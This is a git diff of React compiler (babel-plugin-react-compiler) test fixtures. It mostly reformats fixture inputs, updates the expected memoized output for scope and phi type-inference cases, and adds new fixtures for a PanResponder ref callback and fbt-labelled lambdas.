diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved-by-terminal.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved-by-terminal.expect.md
index 7b191118bd3b..894dea7ce89b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved-by-terminal.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved-by-terminal.expect.md
@@ -15,8 +15,8 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -27,6 +27,7 @@ export const FIXTURE_ENTRYPOINT = {
 function foo(a, b, c) {
   const x = [];
   const y = [];
+
   if (x) {
   }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved-by-terminal.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved-by-terminal.js
index 72eb81b9eb9a..de49b8b7597c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved-by-terminal.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved-by-terminal.js
@@ -11,6 +11,6 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved.expect.md
index ea77b9e3d932..6c425bcd88b8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved.expect.md
@@ -11,8 +11,8 @@ function foo(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved.js
index 9756a926a3ea..b219006e2d1b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved.js
@@ -7,6 +7,6 @@ function foo(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowed.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowed.expect.md
index 4f6e0df8b451..de68c96a38c6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowed.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowed.expect.md
@@ -11,8 +11,8 @@ function foo(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowed.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowed.js
index 73c77a45810b..6253f2fd0748 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowed.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowed.js
@@ -7,6 +7,6 @@ function foo(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowing-within-block.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowing-within-block.expect.md
index d5ffcdb931a5..a9d23720ae6d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowing-within-block.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowing-within-block.expect.md
@@ -17,8 +17,8 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -62,6 +62,7 @@ function foo(a, b, c) {
   } else {
     x = $[3];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowing-within-block.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowing-within-block.js
index 916100977ae5..134aa185fa05 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowing-within-block.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowing-within-block.js
@@ -13,6 +13,6 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-while.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-while.expect.md
index 7170874dee60..7d14ce7e0d91 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-while.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-while.expect.md
@@ -13,8 +13,8 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-while.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-while.js
index 0bfc2dc242b3..4f6b2939cc79 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-while.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-while.js
@@ -9,6 +9,6 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-within-block.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-within-block.expect.md
index 4f8bd210c93d..1737be20de66 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-within-block.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-within-block.expect.md
@@ -17,8 +17,8 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -55,6 +55,7 @@ function foo(a, b, c) {
   } else {
     x = $[3];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-within-block.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-within-block.js
index f0b60c05f0b2..330eb3d4de84 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-within-block.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-within-block.js
@@ -13,6 +13,6 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/panresponder-ref-in-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/panresponder-ref-in-callback.expect.md
new file mode 100644
index 000000000000..92831f065943
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/panresponder-ref-in-callback.expect.md
@@ -0,0 +1,77 @@
+
+## Input
+
+```javascript
+// @flow
+import {PanResponder, Stringify} from 'shared-runtime';
+
+export default component Playground() {
+  const onDragEndRef = useRef(() => {});
+  useEffect(() => {
+    onDragEndRef.current = () => {
+      console.log('drag ended');
+    };
+  });
+  const panResponder = useMemo(
+    () =>
+      PanResponder.create({
+        onPanResponderTerminate: () => {
+          onDragEndRef.current();
+        },
+      }),
+    []
+  );
+  return <Stringify responder={panResponder} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { PanResponder, Stringify } from "shared-runtime";
+
+export default function Playground() {
+  const $ = _c(3);
+  const onDragEndRef = useRef(_temp);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = () => {
+      onDragEndRef.current = _temp2;
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  useEffect(t0);
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = PanResponder.create({
+      onPanResponderTerminate: () => {
+        onDragEndRef.current();
+      },
+    });
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const panResponder = t1;
+  let t2;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = <Stringify responder={panResponder} />;
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  return t2;
+}
+function _temp2() {
+  console.log("drag ended");
+}
+function _temp() {}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/panresponder-ref-in-callback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/panresponder-ref-in-callback.js
new file mode 100644
index 000000000000..93614bfeec0b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/panresponder-ref-in-callback.js
@@ -0,0 +1,21 @@
+// @flow
+import {PanResponder, Stringify} from 'shared-runtime';
+
+export default component Playground() {
+  const onDragEndRef = useRef(() => {});
+  useEffect(() => {
+    onDragEndRef.current = () => {
+      console.log('drag ended');
+    };
+  });
+  const panResponder = useMemo(
+    () =>
+      PanResponder.create({
+        onPanResponderTerminate: () => {
+          onDragEndRef.current();
+        },
+      }),
+    []
+  );
+  return <Stringify responder={panResponder} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/partial-early-return-within-reactive-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/partial-early-return-within-reactive-scope.expect.md
index 9e0050255b02..0b37c7c20437 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/partial-early-return-within-reactive-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/partial-early-return-within-reactive-scope.expect.md
@@ -20,7 +20,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true, a: 42 }],
+  params: [{cond: true, a: 42}],
 };
 
 ```
@@ -30,10 +30,10 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(4);
-  let y;
+  const $ = _c(6);
   let t0;
-  if ($[0] !== props) {
+  let y;
+  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.cond) {
     t0 = Symbol.for("react.early_return_sentinel");
     bb0: {
       const x = [];
@@ -43,11 +43,11 @@ function Component(props) {
         break bb0;
       } else {
         let t1;
-        if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
+        if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
           t1 = foo();
-          $[3] = t1;
+          $[5] = t1;
         } else {
-          t1 = $[3];
+          t1 = $[5];
         }
         y = t1;
         if (props.b) {
@@ -56,16 +56,19 @@ function Component(props) {
         }
       }
     }
-    $[0] = props;
-    $[1] = y;
-    $[2] = t0;
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.cond;
+    $[3] = t0;
+    $[4] = y;
   } else {
-    y = $[1];
-    t0 = $[2];
+    t0 = $[3];
+    y = $[4];
   }
   if (t0 !== Symbol.for("react.early_return_sentinel")) {
     return t0;
   }
+
   return y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/partial-early-return-within-reactive-scope.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/partial-early-return-within-reactive-scope.js
index 9739a2a8dee1..66d68242b8bb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/partial-early-return-within-reactive-scope.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/partial-early-return-within-reactive-scope.js
@@ -16,5 +16,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true, a: 42 }],
+  params: [{cond: true, a: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-reference-effects.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-reference-effects.expect.md
index bef1d7b8368a..36f3175a15a2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-reference-effects.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-reference-effects.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { arrayPush } from "shared-runtime";
+import {arrayPush} from 'shared-runtime';
 
 function Foo(cond) {
   let x = null;
@@ -18,8 +18,8 @@ function Foo(cond) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ cond: true }],
-  sequentialRenders: [{ cond: true }, { cond: true }],
+  params: [{cond: true}],
+  sequentialRenders: [{cond: true}, {cond: true}],
 };
 
 ```
@@ -45,6 +45,7 @@ function Foo(cond) {
   } else {
     x = $[1];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-reference-effects.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-reference-effects.ts
index 092791d586fa..3bf259216c7f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-reference-effects.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-reference-effects.ts
@@ -1,4 +1,4 @@
-import { arrayPush } from "shared-runtime";
+import {arrayPush} from 'shared-runtime';
 
 function Foo(cond) {
   let x = null;
@@ -14,6 +14,6 @@ function Foo(cond) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ cond: true }],
-  sequentialRenders: [{ cond: true }, { cond: true }],
+  params: [{cond: true}],
+  sequentialRenders: [{cond: true}, {cond: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-array-push-consecutive-phis.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-array-push-consecutive-phis.expect.md
new file mode 100644
index 000000000000..2bfb21bc6739
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-array-push-consecutive-phis.expect.md
@@ -0,0 +1,116 @@
+
+## Input
+
+```javascript
+import {makeArray} from 'shared-runtime';
+
+function Component(props) {
+  const x = {};
+  let y;
+  if (props.cond) {
+    if (props.cond2) {
+      y = [props.value];
+    } else {
+      y = [props.value2];
+    }
+  } else {
+    y = [];
+  }
+  // This should be inferred as `<store> y` s.t. `x` can still
+  // be independently memoized. *But* this also must properly
+  // extend the mutable range of the array literals in the
+  // if/else branches
+  y.push(x);
+
+  return [x, y];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: true, cond2: true, value: 42}],
+  sequentialRenders: [
+    {cond: true, cond2: true, value: 3.14},
+    {cond: true, cond2: true, value: 42},
+    {cond: true, cond2: true, value: 3.14},
+    {cond: true, cond2: false, value2: 3.14},
+    {cond: true, cond2: false, value2: 42},
+    {cond: true, cond2: false, value2: 3.14},
+    {cond: false},
+    {cond: false},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { makeArray } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(6);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = {};
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const x = t0;
+  let t1;
+  if (
+    $[1] !== props.cond ||
+    $[2] !== props.cond2 ||
+    $[3] !== props.value ||
+    $[4] !== props.value2
+  ) {
+    let y;
+    if (props.cond) {
+      if (props.cond2) {
+        y = [props.value];
+      } else {
+        y = [props.value2];
+      }
+    } else {
+      y = [];
+    }
+    y.push(x);
+    t1 = [x, y];
+    $[1] = props.cond;
+    $[2] = props.cond2;
+    $[3] = props.value;
+    $[4] = props.value2;
+    $[5] = t1;
+  } else {
+    t1 = $[5];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ cond: true, cond2: true, value: 42 }],
+  sequentialRenders: [
+    { cond: true, cond2: true, value: 3.14 },
+    { cond: true, cond2: true, value: 42 },
+    { cond: true, cond2: true, value: 3.14 },
+    { cond: true, cond2: false, value2: 3.14 },
+    { cond: true, cond2: false, value2: 42 },
+    { cond: true, cond2: false, value2: 3.14 },
+    { cond: false },
+    { cond: false },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [{},[3.14,"[[ cyclic ref *1 ]]"]]
+[{},[42,"[[ cyclic ref *1 ]]"]]
+[{},[3.14,"[[ cyclic ref *1 ]]"]]
+[{},[3.14,"[[ cyclic ref *1 ]]"]]
+[{},[42,"[[ cyclic ref *1 ]]"]]
+[{},[3.14,"[[ cyclic ref *1 ]]"]]
+[{},["[[ cyclic ref *1 ]]"]]
+[{},["[[ cyclic ref *1 ]]"]]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-array-push-consecutive-phis.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-array-push-consecutive-phis.js
new file mode 100644
index 000000000000..0a9aa39defea
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-array-push-consecutive-phis.js
@@ -0,0 +1,37 @@
+import {makeArray} from 'shared-runtime';
+
+function Component(props) {
+  const x = {};
+  let y;
+  if (props.cond) {
+    if (props.cond2) {
+      y = [props.value];
+    } else {
+      y = [props.value2];
+    }
+  } else {
+    y = [];
+  }
+  // This should be inferred as `<store> y` s.t. `x` can still
+  // be independently memoized. *But* this also must properly
+  // extend the mutable range of the array literals in the
+  // if/else branches
+  y.push(x);
+
+  return [x, y];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: true, cond2: true, value: 42}],
+  sequentialRenders: [
+    {cond: true, cond2: true, value: 3.14},
+    {cond: true, cond2: true, value: 42},
+    {cond: true, cond2: true, value: 3.14},
+    {cond: true, cond2: false, value2: 3.14},
+    {cond: true, cond2: false, value2: 42},
+    {cond: true, cond2: false, value2: 3.14},
+    {cond: false},
+    {cond: false},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-array-push.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-array-push.expect.md
index ee7aa6249566..9fc02ca3b905 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-array-push.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-array-push.expect.md
@@ -21,11 +21,11 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true, value: 42 }],
+  params: [{cond: true, value: 42}],
   sequentialRenders: [
-    { cond: true, value: 3.14 },
-    { cond: false, value: 3.14 },
-    { cond: true, value: 42 },
+    {cond: true, value: 3.14},
+    {cond: false, value: 3.14},
+    {cond: true, value: 42},
   ],
 };
 
@@ -36,26 +36,32 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(2);
+  const $ = _c(4);
   let t0;
-  if ($[0] !== props) {
-    const x = {};
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = {};
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const x = t0;
+  let t1;
+  if ($[1] !== props.cond || $[2] !== props.value) {
     let y;
     if (props.cond) {
       y = [props.value];
     } else {
       y = [];
     }
-
     y.push(x);
-
-    t0 = [x, y];
-    $[0] = props;
-    $[1] = t0;
+    t1 = [x, y];
+    $[1] = props.cond;
+    $[2] = props.value;
+    $[3] = t1;
   } else {
-    t0 = $[1];
+    t1 = $[3];
   }
-  return t0;
+  return t1;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-array-push.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-array-push.js
index 1cbf1e0ab28c..732a1524cba2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-array-push.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-array-push.js
@@ -17,10 +17,10 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true, value: 42 }],
+  params: [{cond: true, value: 42}],
   sequentialRenders: [
-    { cond: true, value: 3.14 },
-    { cond: false, value: 3.14 },
-    { cond: true, value: 42 },
+    {cond: true, value: 3.14},
+    {cond: false, value: 3.14},
+    {cond: true, value: 42},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-property-store.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-property-store.expect.md
index b4343d3fbb48..f0a4ad368ff9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-property-store.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-property-store.expect.md
@@ -9,7 +9,7 @@ function Component(props) {
   if (props.cond) {
     y = {};
   } else {
-    y = { a: props.a };
+    y = {a: props.a};
   }
   // This should be inferred as `<store> y` s.t. `x` can still
   // be independently memoized. *But* this also must properly
@@ -22,7 +22,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: false, a: "a!" }],
+  params: [{cond: false, a: 'a!'}],
 };
 
 ```
@@ -32,7 +32,7 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime"; // @debug
 function Component(props) {
-  const $ = _c(5);
+  const $ = _c(4);
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     t0 = {};
@@ -41,27 +41,21 @@ function Component(props) {
     t0 = $[0];
   }
   const x = t0;
-  let y;
-  if ($[1] !== props) {
+  let t1;
+  if ($[1] !== props.a || $[2] !== props.cond) {
+    let y;
     if (props.cond) {
       y = {};
     } else {
       y = { a: props.a };
     }
-
     y.x = x;
-    $[1] = props;
-    $[2] = y;
-  } else {
-    y = $[2];
-  }
-  let t1;
-  if ($[3] !== y) {
     t1 = [x, y];
-    $[3] = y;
-    $[4] = t1;
+    $[1] = props.a;
+    $[2] = props.cond;
+    $[3] = t1;
   } else {
-    t1 = $[4];
+    t1 = $[3];
   }
   return t1;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-property-store.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-property-store.js
index 79cfc2a62103..ba7133ff808d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-property-store.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-property-store.js
@@ -5,7 +5,7 @@ function Component(props) {
   if (props.cond) {
     y = {};
   } else {
-    y = { a: props.a };
+    y = {a: props.a};
   }
   // This should be inferred as `<store> y` s.t. `x` can still
   // be independently memoized. *But* this also must properly
@@ -18,5 +18,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: false, a: "a!" }],
+  params: [{cond: false, a: 'a!'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-existing-memoization-guarantees/lambda-with-fbt-preserve-memoization.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-existing-memoization-guarantees/lambda-with-fbt-preserve-memoization.expect.md
new file mode 100644
index 000000000000..bafbb5c5ef37
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-existing-memoization-guarantees/lambda-with-fbt-preserve-memoization.expect.md
@@ -0,0 +1,86 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees
+import {fbt} from 'fbt';
+
+function Component() {
+  const buttonLabel = () => {
+    if (!someCondition) {
+      return <fbt desc="My label">{'Purchase as a gift'}</fbt>;
+    } else if (
+      !iconOnly &&
+      showPrice &&
+      item?.current_gift_offer?.price?.formatted != null
+    ) {
+      return (
+        <fbt desc="Gift button's label">
+          {'Gift | '}
+          <fbt:param name="price">
+            {item?.current_gift_offer?.price?.formatted}
+          </fbt:param>
+        </fbt>
+      );
+    } else if (!iconOnly && !showPrice) {
+      return <fbt desc="Gift button's label">{'Gift'}</fbt>;
+    }
+  };
+
+  return (
+    <View>
+      <Button text={buttonLabel()} />
+    </View>
+  );
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees
+import { fbt } from "fbt";
+
+function Component() {
+  const $ = _c(1);
+  const buttonLabel = _temp;
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = (
+      <View>
+        <Button text={buttonLabel()} />
+      </View>
+    );
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+function _temp() {
+  if (!someCondition) {
+    return fbt._("Purchase as a gift", null, { hk: "1gHj4g" });
+  } else {
+    if (
+      !iconOnly &&
+      showPrice &&
+      item?.current_gift_offer?.price?.formatted != null
+    ) {
+      return fbt._(
+        "Gift | {price}",
+        [fbt._param("price", item?.current_gift_offer?.price?.formatted)],
+        { hk: "3GTnGE" },
+      );
+    } else {
+      if (!iconOnly && !showPrice) {
+        return fbt._("Gift", null, { hk: "3fqfrk" });
+      }
+    }
+  }
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-existing-memoization-guarantees/lambda-with-fbt-preserve-memoization.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-existing-memoization-guarantees/lambda-with-fbt-preserve-memoization.js
new file mode 100644
index 000000000000..6b49c4a1fb73
--- /dev/null
